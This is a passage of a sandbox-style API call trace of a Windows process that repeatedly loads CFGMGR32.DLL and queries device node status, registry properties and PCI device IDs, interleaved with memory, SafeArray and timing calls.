0x7ffa786c0000 [0233.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.710] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.710] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.710] malloc (_Size=0x18) returned 0x196ef0d1de0 [0233.710] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x3d, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0233.711] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0233.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6c288c22, dwHighDateTime=0x1d9eb0c)) [0233.711] SetEvent (hEvent=0x248) returned 1 [0233.766] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.766] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.770] malloc (_Size=0x18) returned 0x196ef0d20e0 [0233.770] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x3d, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0233.771] malloc (_Size=0x48) returned 0x196ef0fbd10 [0233.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6c32117a, dwHighDateTime=0x1d9eb0c)) [0233.771] SetEvent (hEvent=0x248) returned 1 [0233.775] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.775] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.780] malloc (_Size=0x18) returned 0x196ef0d20c0 [0233.780] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0233.780] malloc (_Size=0x48) returned 0x196ef0fbae0 [0233.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c32117a, dwHighDateTime=0x1d9eb0c)) [0233.780] SetEvent (hEvent=0x248) returned 1 [0233.787] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.788] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.792] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0233.792] CM_Get_Device_IDA (in: dnDevInst=0x3e, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_293C&SUBSYS_11001AF4&REV_03\\3&11583659&0&18") returned 0x0 [0233.792] malloc (_Size=0x48) returned 0x196ef0fb680 [0233.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6c3470b8, dwHighDateTime=0x1d9eb0c)) [0233.793] SetEvent (hEvent=0x248) returned 1 [0233.796] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.796] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.801] malloc (_Size=0x18) returned 0x196ef0d1de0 [0233.801] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0233.801] malloc (_Size=0x124) returned 0x196ef0d67b0 [0233.802] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0233.802] free (_Block=0x196ef0d67b0) [0233.802] malloc (_Size=0x48) returned 0x196ef0fba40 [0233.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6c36d5d0, dwHighDateTime=0x1d9eb0c)) [0233.803] SetEvent (hEvent=0x248) returned 1 [0233.907] malloc (_Size=0x18) returned 0x196ef0d1d00 [0233.907] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0233.907] free (_Block=0x196ef0d1d00) [0233.907] malloc (_Size=0x18) returned 0x196ef0d1c40 [0233.907] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0233.907] free (_Block=0x196ef0d1c40) [0233.907] malloc (_Size=0x18) returned 0x196ef0d1f20 [0233.907] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0233.907] free (_Block=0x196ef0d1f20) [0233.908] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0233.908] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0233.908] free (_Block=0x196ef0d1ee0) [0233.908] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee854f60 [0233.908] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0233.908] SafeArrayGetLBound (in: psa=0x196ef1f2c30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0233.908] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0233.908] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0233.908] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0233.908] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0233.908] SafeArrayGetElemsize (psa=0x196ef1f2c30) returned 0x8 [0233.909] SafeArrayGetElement (in: psa=0x196ef1f2c30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0233.910] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa8f0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.910] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa8f8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.910] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa900, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.910] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa908, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.911] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0233.911] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee854f60) returned 1 [0233.912] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.912] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.916] malloc (_Size=0x18) returned 0x196ef0d1e20 [0233.916] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0233.917] malloc (_Size=0x10e) returned 0x196ef0d67b0 [0233.917] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0233.918] free (_Block=0x196ef0d67b0) [0233.918] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0233.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6c4781f9, dwHighDateTime=0x1d9eb0c)) [0233.918] SetEvent (hEvent=0x248) returned 1 [0233.921] malloc (_Size=0x18) returned 0x196ef0d1980 [0233.921] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0233.921] free (_Block=0x196ef0d1980) [0233.921] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0233.922] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0233.922] free (_Block=0x196ef0d1ac0) [0233.922] malloc (_Size=0x18) returned 0x196ef0d2000 [0233.922] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0233.922] free (_Block=0x196ef0d2000) [0233.922] malloc (_Size=0x18) returned 0x196ef0d1e20 [0233.922] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0233.922] free (_Block=0x196ef0d1e20) [0233.922] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0233.922] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0233.922] free (_Block=0x196ef0d1ca0) [0233.922] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0233.923] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0233.923] free (_Block=0x196ef0d1ba0) [0233.923] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0233.923] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0233.923] free (_Block=0x196ef0d1ce0) [0233.923] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856ae0 [0233.923] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0233.923] SafeArrayGetLBound (in: psa=0x196ef1f2870, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0233.923] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0233.923] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0233.923] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0233.923] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0233.923] SafeArrayGetElemsize (psa=0x196ef1f2870) returned 0x8 [0233.924] SafeArrayGetElement (in: psa=0x196ef1f2870, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0233.924] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2420, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.925] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2428, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.925] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2430, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.925] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2438, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.925] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2440, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.926] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2448, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.926] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2450, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.926] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0233.927] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856ae0) returned 1 [0233.928] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.928] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.929] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.929] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.929] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.929] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.929] 